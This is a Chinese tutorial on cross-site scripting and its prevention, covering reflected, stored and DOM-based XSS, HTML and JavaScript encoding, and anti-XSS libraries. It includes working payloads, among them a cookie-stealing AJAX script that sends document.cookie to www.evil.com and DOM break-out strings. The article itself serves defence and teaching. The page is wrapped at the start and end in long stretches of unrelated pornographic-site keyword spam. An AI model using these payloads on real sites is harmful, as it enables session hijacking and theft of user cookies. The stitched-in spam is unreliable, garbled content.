精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

如何防止跨站點腳本攻擊

安全 應用安全
跨站點腳本(XSS)是當前web應用中最危險和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網站,包括Google, Facebook, Amazon, PayPal等網站都發現這個漏洞。如果你密切關注bug賞金計劃,會發現報道最多的問題屬于XSS。

1. 簡介

跨站點腳本(XSS)是當前web應用中最危險和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網站,包括Google, Facebook, Amazon, PayPal等網站都發現這個漏洞。如果你密切關注bug賞金計劃,會發現報道最多的問題屬于XSS。為了避免跨站腳本,瀏覽器也有自己的過濾器,但安全研究人員總是能夠設法繞過這些過濾器。

這種漏洞(XSS)通常用于發動cookie竊取、惡意軟件傳播(蠕蟲攻擊),會話劫持,惡意重定向。在這種攻擊中,攻擊者將惡意JavaScript代碼注入到網站頁面中,這樣”受害”者的瀏覽器就會執行攻擊者編寫的惡意腳本。這種漏洞容易找到,但很難修補。這就是為什么你可以在任何網站發現它的身影。

在這篇文章中,我們將看到跨站腳本攻擊是什么以及如何創建一個過濾器來阻止它。我們還將看到幾個開源庫,將幫助你修補在web應用程序中的跨站腳本漏洞。

2. 跨站點腳本是什么?

跨站點腳本攻擊是一種Web應用程序的攻擊,攻擊者嘗試注入惡意腳本代碼到受信任的網站上執行惡意操作。 在跨站點腳本攻擊中,惡意代碼在受影響用戶的瀏覽器端執行,并對用戶的影響。也被稱為XSS攻擊。你可能有一個疑問就是為什么我們叫它”XSS”,而不是”CSS”。

對于廣大的web程序猿來說。在網頁設計中,我們已經把級聯樣式表叫做CSS。因此為了避免混淆,我們把cross-site scripting稱為XSS。

現在,讓我們回到XSS攻擊。這個漏洞發生在網站應用程序接收用戶的輸入數據卻沒有做必要的編碼。如果對用戶輸入的數據沒有進行正確的編碼和過濾,這個被注入惡意腳本將被發送給其他用戶。 對瀏覽器來說,它沒有辦法知道它不應該相信一個腳本的合法性。瀏覽器會正常地把這個腳本當成普通腳本執行,這個時候惡意的操作就不可避免的發生了。大部分的時候,XSS是用來竊取cookie,或竊取有效用戶的會話令牌session,以此進行會話劫持。#p#

3. XSS的演示

Example 1:

幾乎所有的網站上看到一個搜索框。有了這個搜索框,你可以搜索并找到在網站上存放的資料。這種搜索形式看起來像這樣

<form action="search.php" method="get">
    <input type="text" name="q" value="" />
    <input type="submit" value="send" />
</form>

 

如何防止跨站點腳本攻擊

在search.php頁面中,代碼顯示了搜索的結果,并且列出了用戶輸入的搜索關鍵字。形式如下:

“Search results for Keyword”或者”You Searched for Keyword”

search.php可以這么寫來模擬功能:

<h3>You Searched for: <?php echo($_GET['q']); ?>

 

如何防止跨站點腳本攻擊

無論你輸入任何關鍵字,它將隨搜索結果一起被顯示在網頁上?,F在想想會發生什么,如果一個攻擊者試圖從這個地方注入以下惡意腳本。

<script>alert('XSS injection')</script>

 

如何防止跨站點腳本攻擊

可以看到,因為缺少對用戶輸入的有效的”編碼”和”過濾”。導致了XSS攻擊的發生,其實從本質上理解,XSS就是一種HTML的注入,和傳統的buffer overflow是類似的思想,即沒有對數據和代碼進行有效的分離,在緩沖區溢出總,攻擊者在通過超長的數據包發送覆蓋了程序buffer的關鍵返回ret位置,導致CPU控制流的劫持,錯誤地把攻擊者數據當作代碼來執行,最后導致了緩沖區溢出。

而XSS中的HTML注入也是一種利用代碼和數據未有效分離的攻擊,只不過攻擊發生在受害者用戶的瀏覽器上,攻擊者將數據發送給服務器,服務器沒有對輸入的數據進行有效的”編碼”和”過濾”(即去除數據本身的代碼特性,對于HTML來說就是去除它們稱為Tag標簽的可能),導致了這些數據在用戶的瀏覽器上得到執行,最終導致XSS攻擊的發生。

Example 2:

很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:

<form action="sendmessage.php" method="post'">
    <textarea name="message"> </textarea>
    <input type="submit" value="send" />
</form>

當用戶點擊發送時,這條消息會被保存在數據庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用于偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。

惡意攻擊者可以在消息框中加入一下javascript代碼:

var url = "http://www.evil.com/index.php";   //攻擊者控制的服務器
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
    ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
    ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
    return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
    if(ajax.readyState == 4 && ajax.status == 200)
    {
        //alert("Done!");
    }
}

通過AJAX異步請求,將被攻擊者的敏感cookie信息發送給了攻擊者控制的服務器。攻擊者隨后即可利用這些cookie信息以”合法”用戶的身份進行登錄操作。

這里首先要理清楚幾個重要的問題:

1. cookie的作用

Cookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。定義于RFC2109(已廢棄),最新取代的規范是RFC2965。

也就是說,cookie是用戶和服務器之間的橋梁。服務器可以使用session來保存用戶的身份信息(ID,購物車等),但是需要用戶在訪問網頁(發送HTTP數據包)的時候附帶上相應的cookie,通過cookie中的特定值來識別sessionID,才能把單獨用戶和單獨的session聯系起來。cookie是有狀態HTTP交互的一種重要機制。

2. 瀏覽器的同源策略

在進行cookie竊取的時候,攻擊者偷取的cookie是什么,是全部cookie,還是當前這個網站的cookie?要解決這個問題,我們要先了解一些瀏覽器的同源策略。

同源策略,它是由Netscape提出的一個著名的安全策略。
現在所有支持JavaScript 的瀏覽器都會使用這個策略。
所謂同源是指,域名,協議,端口相同。
當一個瀏覽器的兩個tab頁中分別打開來 百度和谷歌的頁面
當瀏覽器的百度tab頁執行一個腳本的時候會檢查這個腳本是屬于哪個頁面的,
即檢查是否同源,只有和百度同源的腳本才會被執行。

同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會受到影響??梢哉fweb是構建在同源策略的基礎之上的,瀏覽器只是針對同源策略的一種實現。

瀏覽器的同源策略限制了來自不同源的”document”或腳本,對當前”document”的讀取或者設置某些屬性。為了不讓瀏覽器的頁面行為發生混亂,瀏覽器提出了”Origin”(源)這以概念,來自不同的Origin的對象無法互相干擾。

因為同源策略的原因,也就導致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個域下觸發。例如攻擊者如果想竊取在www.a.com下的cookie,那就必須在www.a.com這個域(可以是不同頁面,但要保證是同一個域)下的的某一個頁面放置XSS代碼,可以是存儲型,也可以是反射型或DOM Baesd型的。#p#

4. XSS攻擊的種類

對XSS的分類沒有明確的標準,但業界普遍將XSS攻擊分為三類。反射型XSS(non-persistent XSS), 存儲型XSS(persistent XSS), DOM Based XSS

4.1 非持久性跨站點腳本攻擊

非持久性XSS也稱為反射型跨站漏洞。它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。如果你看了我們上面所示的例子,第一個例子是一個非持久的XSS攻擊。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。

4.2 持久的跨站點腳本攻擊

持久型跨站點腳本也稱為存儲跨站點腳本。它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。在上面的示例中,第二個例子就展示了一個持久的XSS攻擊。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS。

4.3 基于dom的跨站點腳本攻擊

基于DOM的XSS有時也稱為type0 XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(Document Object Model)并顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。

通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。

 
<script>
    function test()
    {
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
    }
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

在這個場景中,代碼修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM Based XSS

' onclick=alert(/xss/) '

輸入后,頁面代碼就變成了:

<a href='' onclick=alert(/xss/) '' >testLink</a>

點擊這個新生成的鏈接,腳本將被執行。

實際上,這里還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉標簽,并插入一個新的HTML標簽:

'><img src=# onerror=alert(/xss2/) /><'

頁面代碼變成了:

<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

#p#

5. XSS漏洞產生的原因

跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什么出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用制造出一種行之有效的XSS過濾器是一件比較困難的事情。

但是這只是相對的,對用戶輸入數據的”編碼”和”過濾”在任何時候都是很重要的,我們必須采取一些針對性的手段對其進行防御。

6. 如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼

6.1 需要重點”編碼”和”過濾”的對象

The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data

防御XSS有一個原則:

以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從數據庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向數據庫寫入數據)

對輸入的數據進行”過濾”,對輸出數據進行”編碼”。這里的”編碼”也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。

如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先后問題導致看似嚴密的”編碼”形同虛設。

6.2 HtmlEncode HTML編碼

它的作用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1

為了對抗XSS,在HtmlEncode中要求至少轉換以下字符:

&   -->   &amp;
<   -->   &lt;
>   -->   &gt;
"   -->   &quot;
'   -->   '
/   -->   /
在PHP中:

htmlentities

http://www.w3school.com.cn/php/func_string_htmlentities.asp

htmlspecialchars

http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

6.3 javascriptEncode javascript”編碼”

javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用”\”對特殊字符進行轉義。從原理上來講,這都符合編碼函數的一個大原則: 將數據和代碼區分開,因為對于HTML Tag來說,我們對其進行”可視化(轉換成可以見字符)”的編碼可以將數據和HTML的界限分開。而對于javascript來說,我們除了要進行編碼之外,還需要對特殊字符進行轉義,這樣攻擊輸入的用于”閉合”的特殊字符就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變量必須在引號內部,以避免造成安全問題。

escape()

http://www.w3school.com.cn/js/jsref_escape.asp

該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字符都會被轉義序列(十六進制\xHH)替換。

利用這個編碼函數,不僅能防御XSS攻擊,還可以防御一些command注入。

7. 一些開源的防御XSS攻擊的代碼庫

PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站腳本漏洞。
https://code.google.com/p/php-antixss/
xss_clean.php filter
https://gist.github.com/mbijon/1098477
HTML Purifier
http://htmlpurifier.org/
xssprotect
https://code.google.com/p/xssprotect/
XSS HTML Filter
http://finn-no.github.io/xss-html-filter/

原文地址:http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/

責任編輯:藍雨淚 來源: FreebuF
相關推薦

2010-10-12 13:25:55

2010-01-25 10:16:49

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2012-11-15 09:51:36

2010-05-04 22:47:09

2012-12-10 10:32:22

2022-08-12 07:01:00

Node.jsXSS腳本

2024-04-10 12:07:09

2025-04-27 01:32:23

2013-01-17 09:39:17

2023-06-01 15:30:21

2019-01-11 14:45:30

2010-06-07 20:19:49

2013-01-11 17:33:46

2010-09-25 14:34:09

2011-12-03 20:25:53

2011-10-14 09:23:14

2010-08-24 11:24:35

2010-06-30 16:26:05

2023-08-04 00:08:03

點贊
收藏

51CTO技術棧公眾號

国产精品成人av| 欧美人与性动交α欧美精品济南到 | 精品精品久久| 7799精品视频| 欧美在线观看黄| 天天躁日日躁狠狠躁伊人| 久久一区亚洲| 欧美成人免费在线观看| 人妻丰满熟妇aⅴ无码| 成人黄页网站视频| 一区二区免费视频| 色噜噜狠狠一区二区三区| 91国偷自产中文字幕久久| 国产精品vip| 伊人亚洲福利一区二区三区| 原创真实夫妻啪啪av| 第一福利在线视频| 中文字幕日韩一区| 久久99影院| 一级黄色片免费| 一区二区高清| 久久亚洲影音av资源网| 特级西西人体4444xxxx| 日韩大陆av| 欧美色videos| 日韩精品免费一区| av网站在线播放| thepron国产精品| 成人av在线网址| 91美女免费看| 欧美日本一区二区高清播放视频| 国产一区二区三区18| 911亚洲精选| 亚洲男男av| 一本色道久久加勒比精品| 警花观音坐莲激情销魂小说| 欧美日韩国产综合视频| 成人深夜福利app| 成人久久久久久| 蜜臀99久久精品久久久久小说| 亚洲午夜伦理| 欧美夫妻性生活视频| 在线免费看av网站| 精品国产91久久久久久浪潮蜜月| 精品国产亚洲在线| 亚洲国产欧美日韩在线| 四虎永久精品在线| 欧美日韩中文字幕一区| 国产丝袜一区视频在线观看| 国产成人精品福利一区二区三区| 夜夜爽8888| 日韩精品色哟哟| 欧美亚洲一区在线| 国产香蕉视频在线| 在线国产日韩| 欧美激情一级精品国产| 91 在线视频| 欧美mv日韩| 色悠悠久久久久| www亚洲色图| 精品久久久亚洲| 国产亚洲欧美日韩美女| 麻豆精品免费视频| 婷婷激情久久| 亚洲美女久久久| 无套内谢大学处破女www小说| 成人搞黄视频| 亚洲黄色在线观看| 西西大胆午夜视频| 亚洲理论电影| 亚洲色图35p| 性欧美一区二区| 精品视频网站| 色综合亚洲精品激情狠狠| 国产馆在线观看| 久久网站免费观看| 久久躁日日躁aaaaxxxx| 青青草原在线免费观看视频| 国内精品福利| 538国产精品一区二区免费视频| 日韩少妇高潮抽搐| 日韩在线播放一区二区| 国产伦精品免费视频| 国产又粗又猛视频免费| 国产综合色精品一区二区三区| 91精品在线看| 亚洲精品国偷拍自产在线观看蜜桃| 国产suv一区二区三区88区| 国产伦精品一区二区三区视频免费| 亚州视频一区二区三区| 久久精品人人做人人爽97| 亚洲欧洲中文| 国产第一页在线| 欧美天天综合色影久久精品| 99视频在线视频| 国产一区二区三区免费在线| 欧美精品一区二区三区很污很色的 | 不卡av免费观看| 欧美日韩亚洲精品一区二区三区 | 午夜国产福利视频| 最新国产精品| 亚州欧美日韩中文视频| 成人黄色激情视频| 国产黄色精品网站| 欧美大陆一区二区| 欧美天天影院| 精品欧美国产一区二区三区| 九九精品久久久| 国产成人一二| 色偷偷av亚洲男人的天堂| 欧美成人免费看| 久久久综合网| 69174成人网| 国产精品一级伦理| 亚洲一区二区不卡免费| 可以免费在线看黄的网站| 秋霞一区二区三区| 亚洲一区二区久久| 久久国产在线视频| 日韩av不卡在线观看| 国产精品一区在线播放| 日本激情在线观看| 日韩欧美国产激情| 潘金莲一级淫片aaaaa| av中字幕久久| 97人人爽人人喊人人模波多| 国产手机av在线| 国产亚洲精品久| 国产免费黄色一级片| 99久久久成人国产精品| 亚洲人成电影网站色www| 国产一级生活片| 狠狠色丁香婷婷综合久久片| 日韩成人av电影在线| 蜜桃麻豆av在线| 精品粉嫩超白一线天av| 久草视频手机在线| 热久久久久久久| 久中文字幕一区| www.九色在线| 亚洲国产精久久久久久 | 欧美午夜片在线免费观看| 古装做爰无遮挡三级聊斋艳谭| 成人直播大秀| 国产精品久久久久久av福利软件 | 老熟妇一区二区三区| av在线免费不卡| 欧美一级视频在线播放| 91在线一区| 欧美激情视频一区| 草草视频在线播放| 一区二区三区日韩在线观看| 欧美体内she精高潮| 国产精品成久久久久| 成人黄色免费看| 韩国av网站在线| 欧美高清www午色夜在线视频| 香蕉视频久久久| 亚洲一区免费| 免费一区二区三区| 玖玖在线播放| 日韩成人激情视频| 日韩毛片在线视频| 风流少妇一区二区| 成年在线观看视频| av在线一区不卡| 亚洲全黄一级网站| 一级片视频在线观看| 91婷婷韩国欧美一区二区| 中文精品无码中文字幕无码专区| 日韩av超清在线观看| 最新国产成人av网站网址麻豆| 波多野结衣一区二区三区四区| 久久免费午夜影院| 欧美a在线视频| 校花撩起jk露出白色内裤国产精品 | 亚洲经典自拍| 99久久精品免费看国产四区| 羞羞污视频在线观看| 日韩视频免费观看高清在线视频| 成人一级黄色大片| 国产一区二区三区久久久| 视频在线99| 91精品视频一区二区| 久久人人爽亚洲精品天堂| 一区二区三区午夜| 亚洲日本一区二区| 中国一级特黄录像播放| 欧美私人啪啪vps| 国产精品久久九九| 久久不射影院| 国产网站欧美日韩免费精品在线观看| 成人免费a视频| 国产亚洲欧美色| 色噜噜狠狠一区二区| 国产精品jizz在线观看美国| 国产一区视频观看| 在线亚洲人成| 日韩中文字幕网址| 国产精品无码久久av| 午夜精品免费在线| 久久精品国产亚洲av久| 老司机免费视频一区二区三区| 国产又粗又爽又黄的视频 | 国产在线一区二区三区播放| 久久久久久久| 久久久97精品| 天堂中文在线观看视频| 欧美老女人在线| 日韩激情一区二区三区| 久久精品男人天堂av| 婷婷激情综合五月天| 一区在线观看| 中文字幕在线观看一区二区三区| 国产亚洲精品美女久久| 国产精品成人一区二区| av中文字幕在线观看| 日韩电影中文字幕av| hs视频在线观看| 欧美视频不卡中文| 成人免费毛片xxx| 国产大陆精品国产| 欧美性猛交久久久乱大交小说| 最新精品国产| 日韩精品一区二区三区外面 | 激情在线观看视频| 国产欧美一级| 熟妇熟女乱妇乱女网站| 中日韩免视频上线全都免费| 亚洲综合小说区| 姬川优奈av一区二区在线电影| 欧美成人小视频| 一级毛片视频在线观看| 亚洲男人天堂久| www.久久色| 欧美日韩在线免费视频| 亚洲 欧美 日韩 综合| 亚洲国产综合色| 亚洲色偷偷综合亚洲av伊人| 国产亚洲一本大道中文在线| 成人做爰www看视频软件| 久久99精品一区二区三区| 尤蜜粉嫩av国产一区二区三区| 亚洲一区二区网站| 国产真实老熟女无套内射| 国产精品毛片一区二区在线看| 日韩欧美视频第二区| 欧美a一欧美| av免费精品一区二区三区| 久久天堂影院| 国产精品福利片| 97精品国产99久久久久久免费| 97在线看福利| 欧美hdxxxxx| 久久91亚洲人成电影网站| 日韩欧美一起| 美女啪啪无遮挡免费久久网站| 最新真实国产在线视频| 亚洲网站在线看| 欧美自拍偷拍第一页| 日韩精品极品视频免费观看| 天堂在线资源库| 亚洲国产另类久久精品| 国产福利视频导航| 欧美电影免费提供在线观看| 国产ts人妖调教重口男| 51精品国自产在线| 97久久人国产精品婷婷| 91麻豆精品国产91久久久久久久久 | 久久综合中文色婷婷| 女仆av观看一区| 国产自产精品| 亚洲精品18| 免费一区二区三区| 国内黄色精品| 手机成人在线| 日韩av有码| 正在播放国产精品| 亚洲成人国产| 亚洲熟妇无码av在线播放| 激情久久久久久| 丁香啪啪综合成人亚洲| 日韩精品成人一区二区三区| 三级在线免费看| 精品制服美女丁香| 中文字幕人妻一区二区三区| 91在线观看高清| 中文字幕一区二区三区人妻电影| 久久久久88色偷偷免费| 国产精品成人在线视频| 亚洲欧洲av另类| 久久这里只有精品国产| 精品久久久久久久久久国产| 日韩欧美大片在线观看| 亚洲成人免费电影| 国产精品成人免费一区二区视频| 一区二区三区丝袜| 永久免费无码av网站在线观看| 在线观看国产91| 91亚洲国产成人精品一区| 91精品国产综合久久香蕉的特点| 日韩一级在线播放| 亚洲视频在线免费看| 日本成人在线播放| 色综合久久久久久中文网| 日韩欧美一区二区三区免费观看| 成人黄色av网| 欧美a一欧美| 亚洲精品无人区| 亚洲激情影院| 99热这里只有精品在线播放| 国产精品18久久久久久久久 | 国产精品成人国产| 亚洲自拍偷拍第一页| 中文字幕av一区二区三区人| 伊人久久青草| 亚洲国产精品第一区二区三区| 日韩视频免费在线播放| 成人午夜视频在线| 日本人亚洲人jjzzjjz| 亚洲欧洲制服丝袜| 国产女同在线观看| 精品久久久久久最新网址| 九色视频在线观看免费播放| 欧美成人手机在线| 成人开心激情| 久久国产手机看片| 综合在线视频| 不卡av免费在线| 成人黄色网址在线观看| 国产精品久久久视频| 一区二区三区在线免费观看| 中文字幕人妻一区二区三区视频| 亚洲国内高清视频| 免费av在线网站| 2019av中文字幕| 久久亚州av| 成人手机在线播放| 美女诱惑一区二区| 中文字幕影片免费在线观看| 亚洲美女精品一区| 人人妻人人爽人人澡人人精品| 精品国产乱码久久久久久1区2区| 国产三级在线播放| 国产精品久久久久久久久久免费| 久久精品色播| 精品久久久无码人妻字幂| 国产乱码精品一品二品| 99精品中文字幕| 3d动漫精品啪啪一区二区竹菊| 日本在线免费中文字幕| 国产精品欧美亚洲777777| 成人在线免费视频观看| wwwwww.色| 久久久99久久| 日韩成人免费观看| 精品国产伦理网| 肉肉视频在线观看| 99在线热播| 精品动漫一区| 人妻av一区二区| 亚洲午夜一区二区三区| 欧美少妇bbw| 欧美激情综合色| 亚洲综合影院| 国产一级做a爰片久久毛片男| 成人av网站在线| 日产欧产va高清| 亚洲国产精品久久久| 依依综合在线| 神马影院一区二区| 男女视频一区二区| 美女脱光内衣内裤| 欧美色图在线观看| 色综合久久影院| 91视频九色网站| 在线精品在线| 欧美深性狂猛ⅹxxx深喉| 欧美日韩国产精品| 色播色播色播色播色播在线| 国产精品a久久久久久| 一区二区蜜桃| 最新国产精品自拍| 性感美女久久精品| 欧美新色视频| 国产精品日韩欧美| 国产精品99视频| 日韩成人精品视频在线观看| 亚洲愉拍自拍另类高清精品| 亚洲精品97久久中文字幕| 欧美老少做受xxxx高潮| 2023国产精华国产精品| 日韩国产一级片| 久久久av毛片精品| 一级黄色片免费看| 久久精品成人一区二区三区| 蜜臀av一区| 一区二区三区视频在线观看免费| 国产精品久久久久久久久动漫 | 青青久久av北条麻妃黑人|